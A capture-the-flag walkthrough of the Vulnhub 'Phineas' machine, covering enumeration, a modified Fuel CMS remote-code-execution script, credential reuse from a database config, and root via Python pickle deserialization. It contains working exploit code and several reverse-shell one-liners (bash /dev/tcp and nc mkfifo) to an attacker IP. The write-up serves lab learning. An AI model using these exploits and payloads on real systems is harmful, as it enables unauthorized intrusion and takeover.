Overview
Great box to practice enumeration, modifying public exploit to suit our needs and exploiting Python pickles.
Box Difficulty | Link |
---|---|
Easy-Medium | Vulnhub Link |
For this box I downloaded it off vulnhub and run it on my network.
Recon
Let’s start begin with our standard pre-enumeration process to find out all the open ports.
This time let’s use nmap to find all open ports
1
2
3
4
5
6
7
8
9
10
11
12
13
└─# nmap -p- 192.168.1.29
Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-27 04:51 EDT
Nmap scan report for phineas (192.168.1.29)
Host is up (0.00044s latency).
Not shown: 65531 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
111/tcp open rpcbind
3306/tcp open mysql
MAC Address: 08:00:27:E3:69:7E (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 3.14 seconds
Now that we found that there are 4 open ports, let’s do a nmap to find more information about the service running.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
└─# nmap -sV -sC -p 22,80,111,3306 192.168.1.29
Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-27 04:53 EDT
Nmap scan report for phineas (192.168.1.29)
Host is up (0.00035s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 ac:d8:0a:a8:6a:1f:78:6d:ac:06:8f:65:3e:ff:9c:8b (RSA)
| 256 e7:f8:b0:07:1c:5b:4a:48:10:bc:f6:36:42:62:6c:e0 (ECDSA)
|_ 256 c8:f0:ea:b8:bf:6b:a5:12:1f:9a:91:62:9d:1a:ce:75 (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
|_http-title: Apache HTTP Server Test Page powered by CentOS
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
|_ 100000 3,4 111/udp6 rpcbind
3306/tcp open mysql MariaDB (unauthorized)
MAC Address: 08:00:27:E3:69:7E (Oracle VirtualBox virtual NIC)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.05 seconds
Really nothing much to work on. But let’s enumerate common ports more.
Mysql - TCP 3306
Nothing much on port 3306 based on nmap scans.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
└─# nmap -sV -p 3306 --script="banner,(mysql* or ssl*) and not (brute or broadcast or dos or external or fuzzer)" 192.168.1.29
Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-27 04:59 EDT
Nmap scan report for phineas (192.168.1.29)
Host is up (0.00059s latency).
PORT STATE SERVICE VERSION
3306/tcp open mysql MariaDB (unauthorized)
| banner: ?\x00\x00\x00\xFFj\x04Host 'kali' is not allowed to connect to
|_this MariaDB server
|_mysql-empty-password: Host 'kali' is not allowed to connect to this MariaDB server
|_mysql-vuln-cve2012-2122: ERROR: Script execution failed (use -d to debug)
|_sslv2-drown:
MAC Address: 08:00:27:E3:69:7E (Oracle VirtualBox virtual NIC)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.75 seconds
HTTP- TCP 80
Running nikto doesn’t gives much information just that we know its running php and apache as it backend.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
└─# nikto -ask=no -h 192.168.1.29:80 2>&1
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 192.168.1.29
+ Target Hostname: 192.168.1.29
+ Target Port: 80
+ Start Time: 2021-04-27 05:01:25 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.4.6 (CentOS) PHP/5.4.16
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ PHP/5.4.16 appears to be outdated (current is at least 7.2.12). PHP 5.6.33, 7.0.27, 7.1.13, 7.2.1 may also current release for each branch.
+ Apache/2.4.6 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ OSVDB-3268: /icons/: Directory indexing found.
+ OSVDB-3233: /icons/README: Apache default file found.
+ 8724 requests: 0 error(s) and 9 item(s) reported on remote host
+ End Time: 2021-04-27 05:02:29 (GMT-4) (64 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
Thankful gobuster file enumeration shows that there is a “structure” folder found.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
└─# gobuster dir -u http://192.168.1.29 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -t 100 -e -k -s "200,204,301,302,307,403,500" -x "txt,html
,php,jsp"
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.1.29
[+] Method: GET
[+] Threads: 100
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: txt,html,php,jsp
[+] Expanded: true
[+] Timeout: 10s
===============================================================
2021/04/30 13:26:59 Starting gobuster in directory enumeration mode
===============================================================
http://192.168.1.29/structure (Status: 301) [Size: 238] [--> http://192.168.1.29/structure/]
Further enumeration of the “structure” folder reveals that there is a Fuel CMS running on the backend.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
└─# gobuster dir -u http://192.168.1.29/structure/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -t 100 -e -k -s "200,204,301,302,307,403,500" -x "txt,html,php,jsp"
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.1.29/structure/
[+] Method: GET
[+] Threads: 100
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: jsp,txt,html,php
[+] Expanded: true
[+] Timeout: 10s
===============================================================
2021/04/27 13:30:17 Starting gobuster in directory enumeration mode
===============================================================
http://192.168.1.29/structure/assets (Status: 301) [Size: 245] [--> http://192.168.1.29/structure/assets/]
http://192.168.1.29/structure/robots.txt (Status: 200) [Size: 30]
http://192.168.1.29/structure/index.php (Status: 200) [Size: 9288]
http://192.168.1.29/structure/fuel (Status: 301) [Size: 243] [--> http://192.168.1.29/structure/fuel/]
Shell as Apache
Searchsploit shows that there is a exploit available:
1
2
3
4
5
6
7
8
9
10
└─# searchsploit fuel cms
---------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
fuel CMS 1.4.1 - Remote Code Execution (1) | linux/webapps/47138.py
Fuel CMS 1.4.1 - Remote Code Execution (2) | php/webapps/49487.rb
Fuel CMS 1.4.7 - 'col' SQL Injection (Authenticated) | php/webapps/48741.txt
Fuel CMS 1.4.8 - 'fuel_replace_id' SQL Injection (Authenticated) | php/webapps/48778.txt
---------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
After downloading the exploit, modify the exploit file to suit our need.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
import urllib
url = " http://192.168.1.29/structure/"
def find_nth_overlapping(haystack, needle, n):
start = haystack.find(needle)
while start >= 0 and n > 1:
start = haystack.find(needle, start+1)
n -= 1
return start
while 1:
xxxx = raw_input('cmd:')
burp0_url = url+"/fuel/pages/select/?filter=%27%2b%70%69%28%70%72%69%6e%74%28%24%61%3d%27%73%79%73%74%65%6d%27%29%29%2b%24%61%28%27"+urllib.quote(xxxx)+"%27%29%2>
#proxy = {"http":"http://127.0.0.1:8080"}
r = requests.get(burp0_url)
html = "<!DOCTYPE html>"
htmlcharset = r.text.find(html)
begin = r.text[0:20]
dup = find_nth_overlapping(r.text,begin,2)
print r.text[0:dup]
Run the exploit and command to see who we are and what we can do!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
└─# python 47138.py
/usr/share/offsec-awae-wheels/pyOpenSSL-19.1.0-py2.py3-none-any.whl/OpenSSL/crypto.py:12: CryptographyDeprecationWarning: Python 2 is no longer supported by the Python co
re team. Support for it is now deprecated in cryptography, and will be removed in a future release.
cmd:id
systemuid=48(apache) gid=48(apache) groups=48(apache) context=system_u:system_r:httpd_t:s0
cmd:which awk perl python python3 ruby gcc cc vi vim nmap find netcat nc wget tftp ftp php 2>/dev/null
system/usr/bin/awk
/usr/bin/perl
/usr/bin/python
/usr/bin/python3
/usr/bin/ruby
/usr/bin/vi
/usr/bin/vim
/usr/bin/find
/usr/bin/nc
/usr/bin/wget
/usr/bin/php
Something i like to do is base64 encode and decode then pipe to bash for reverse shell:
1
2
3
bash -i >& /dev/tcp/192.168.1.152/4444 0>&1 # Base64 encode this
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTUyLzQ0NDQgMD4mMQ== | base64 -d | bash
Running the exploit:
1
2
3
└─$ python 47138.py
cmd:echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTUyLzQ0NDQgMD4mMQ== | base64 -d | bash
On our attacking machine :
1
2
3
4
5
6
7
8
9
10
11
12
13
└─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.1.152] from (UNKNOWN) [192.168.1.29] 58334
bash: no job control in this shell
bash-4.2$ whoami
whoami
apache
bash-4.2$ hostname && whoami && id
hostname && whoami && id
phineas
apache
uid=48(apache) gid=48(apache) groups=48(apache) context=system_u:system_r:httpd_t:s0
bash-4.2$
Great! Shell as apache!
Shell as anna
Whenever there is a web CMS installed, sometimes it’s best to look through the configuration file for password reuse attacks.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
bash-4.2$ pwd
pwd
/var/www/html/structure/fuel/application/config
bash-4.2$ ls -la
....
....
-rwxr-xr-x. 1 apache apache 4647 Apr 1 04:22 database.php
....
....
bash-4.2$ cat database.php
....
....
$db['default'] = array(
'dsn' => '',
'hostname' => 'localhost',
'username' => 'anna',
'password' => 'H993hfkNNid5kk',
'database' => 'anna',
...
....
Having a username and password, let us SSH into the machine as anna.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
└─$ ssh anna@192.168.1.29
anna@192.168.1.29's password:
[anna@phineas ~]$ whoami && id && hostname
anna
uid=1001(anna) gid=1001(anna) groups=1001(anna) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
Phineas
[anna@phineas ~]$ cd Desktop/
[anna@phineas Desktop]$ ls -la
total 8
drwx------. 2 anna anna 22 Mar 31 05:34 .
drwx------. 19 anna anna 4096 Apr 27 12:52 ..
-rwx------. 1 anna anna 35 Mar 31 05:21 user.txt
[anna@phineas Desktop]$ cat user.txt
c2Vpc2VtcHJlbmVsbWlvY3VvcmVtYW1tYQ
And we are anna!
Shell as Root
After running linpeas we can see that there are 2 ports running locally on port 631 and 5000.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
[+] Iptables rules
iptables rules Not Found
[+] Active Ports
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#open-ports
tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:631 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:5000 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:3306 0.0.0.0:* LISTEN -
tcp6 0 0 :::111 :::* LISTEN -
tcp6 0 0 :::80 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
tcp6 0 0 ::1:631 :::* LISTEN -
Also running pspy64:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
[anna@phineas 192.168.1.152]$ ./pspy64 -pf -i 1000
pspy - version: v1.2.0 - Commit SHA: 9c63e5d6c58f7bcdc235db663f5e3fe1c33b8855
██▓███ ██████ ██▓███ ▓██ ██▓
▓██░ ██▒▒██ ▒ ▓██░ ██▒▒██ ██▒
▓██░ ██▓▒░ ▓██▄ ▓██░ ██▓▒ ▒██ ██░
▒██▄█▓▒ ▒ ▒ ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
▒██▒ ░ ░▒██████▒▒▒██▒ ░ ░ ░ ██▒▓░
▒▓▒░ ░ ░▒ ▒▓▒ ▒ ░▒▓▒░ ░ ░ ██▒▒▒
░▒ ░ ░ ░▒ ░ ░░▒ ░ ▓██ ░▒░
░░ ░ ░ ░ ░░ ▒ ▒ ░░
░ ░ ░
░ ░
Config: Printing events (colored=true): processes=true | file-system-events=true ||| Scannning for processes every 1s and on inotify events ||| Watching directories: [/us
r /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
2021/04/30 12:54:19 CMD: UID=0 PID=998 | /usr/sbin/httpd -DFOREGROUND
2021/04/30 12:54:19 CMD: UID=0 PID=990 | /usr/bin/python3 /usr/local/bin/flask run
2021/04/30 12:54:19 CMD: UID=0 PID=989 | /usr/sbin/rsyslogd -n
2021/04/30 12:54:19 CMD: UID=0 PID=985 | /usr/sbin/sshd -D
2021/04/30 12:54:19 CMD: UID=0 PID=984 | /bin/bash /root/run_flask.sh
We can see that there is a flask service running on the system. This is highly suspicious since in anna home folder, after further enumeration we can find the below.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
[anna@phineas web]$ cat app.py
#!/usr/bin/python3
import pickle
import base64
from flask import Flask, request
app = Flask(__name__)
@app.route("/heaven", methods=["POST"])
def heaven():
data = base64.urlsafe_b64decode(request.form['awesome'])
pickle.loads(data)
return '', 204
The scripts shows that at /heaven, there is a POST route that takes form data awesome. The data comes encoded in base64 (for transfer), is decoded and then unpickled.
Combining this together, we can deduce that the server is hosting a python flask on port 5000 and we are to exploit python pickle to escalate to root.
How do we know if pickle not secure? Based on its documentation page:
Warning The
pickle
module is not secure. Only unpickle data you trust. It is possible to construct malicious pickle data which will execute arbitrary code during unpickling. Never unpickle data that could have come from an untrusted source, or that could have been tampered with.
Thus, to execute the exploit we cannot simply send a request within the phineas system, we have to create a local port forwarding so we are able to send a request from our system to phineas to port 5000.
First, we set a ssh local port forwarding
Syntax :
1
2
3
4
5
6
7
8
9
e.g. ssh remotehost -L 123:localhost:456
123 — port 123 on our machine to receive the forwarded port from the remote host
localhost — The forward to host. In this particular case it’s the victim machine
456 — port 456 on the target machine (victim) to be forwarded to the remote host
remotehost — system we want to SSH into and forward ports from.
If server is running a website on port 8080 but you can only access it internally from the target’s network. Using an arbitrary port like 9000 on our Kali system we can use this to access the website.
The command to do this would be: ssh -L 9000:localhost:8080 victim
Once the tunnel has been established you can access this new website via http://localhost:9000
1
2
3
4
└─# ssh anna@192.168.1.29 -L 5000:localhost:5000
anna@192.168.1.29's password:
Last login: Fri Apr 30 13:03:53 2021 from kali
[anna@phineas ~]$
Once the tunnel has been established we can access this new website at http://localhost:5000
Now to create the exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
┌──(root💀kali)-[/opt/HTB/Phineas]
└─# cat exp.py
import pickle
import base64
import os
class RCE:
def __reduce__(self):
cmd = ('rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | '
'/bin/sh -i 2>&1 | nc 192.168.1.152 1234 > /tmp/f')
return os.system, (cmd,)
if __name__ == '__main__':
pickled = pickle.dumps(RCE())
print(base64.urlsafe_b64encode(pickled))
┌──(root💀kali)-[/opt/HTB/Phineas]
└─# python3 exp.py
b'gASVcgAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjFdybSAvdG1wL2Y7IG1rZmlmbyAvdG1wL2Y7IGNhdCAvdG1wL2YgfCAvYmluL3NoIC1pIDI-JjEgfCBuYyAxOTIuMTY4LjEuMTUyIDEyMzQgPiAvdG1wL2aUhZRSlC4='
Sending the payload:
1
2
┌──(root💀kali)-[/opt]
└─# curl -X "POST" -d "b'gASVcgAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjFdybSAvdG1wL2Y7IG1rZmlmbyAvdG1wL2Y7IGNhdCAvdG1wL2YgfCAvYmluL3NoIC1pIDI-JjEgfCBuYyAxOTIuMTY4LjEuMTUyIDEyMzQgPiAvdG1wL2aUhZRSlC4='" http://127.0.0.1:5000/heaven
Catching the shell:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
└─# nc -lvnp 1234
listening on [any] 1234 ...
connect to [192.168.1.152] from (UNKNOWN) [192.168.1.29] 42030
sh: no job control in this shell
sh-4.2# whoami
whoami
root
sh-4.2# pwd
pwd
/home/anna/web
sh-4.2# cd /root
cd /root
sh-4.2# ls -la
ls -la
total 40
drw-------. 7 root root 265 Apr 1 05:17 .
dr-xr-xr-x. 17 root root 224 Nov 23 12:26 ..
-rw-------. 1 root root 1920 Nov 23 12:27 anaconda-ks.cfg
-rw-------. 1 root root 107 Apr 1 13:56 .bash_history
-rw-r--r--. 1 root root 18 Dec 28 2013 .bash_logout
-rw-r--r--. 1 root root 176 Dec 28 2013 .bash_profile
-rw-r--r--. 1 root root 176 Dec 28 2013 .bashrc
drwx------. 5 root root 42 Mar 31 04:01 .cache
drwx------. 4 root root 30 Mar 31 03:52 .config
-rw-r--r--. 1 root root 100 Dec 28 2013 .cshrc
drwx------. 3 root root 25 Nov 23 12:28 .dbus
drwxr-xr-x. 4 root root 31 Apr 1 05:17 .gem
-rw-------. 1 root root 1948 Nov 23 12:29 initial-setup-ks.cfg
drwxr-----. 3 root root 19 Mar 31 03:58 .pki
-rw-------. 1 root root 32 Mar 31 05:22 root.txt
-rwx--x--x. 1 root root 43 Mar 31 05:26 run_flask.sh
-rw-r--r--. 1 root root 129 Dec 28 2013 .tcshrc
sh-4.2# cat root.txt
cat root.txt
YW5uYW1hcmlhbmljb3NhbnRpdml2ZSE
sh-4.2# whoami && id && hostname
whoami && id && hostname
root
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:unconfined_service_t:s0
phineas
Rooted!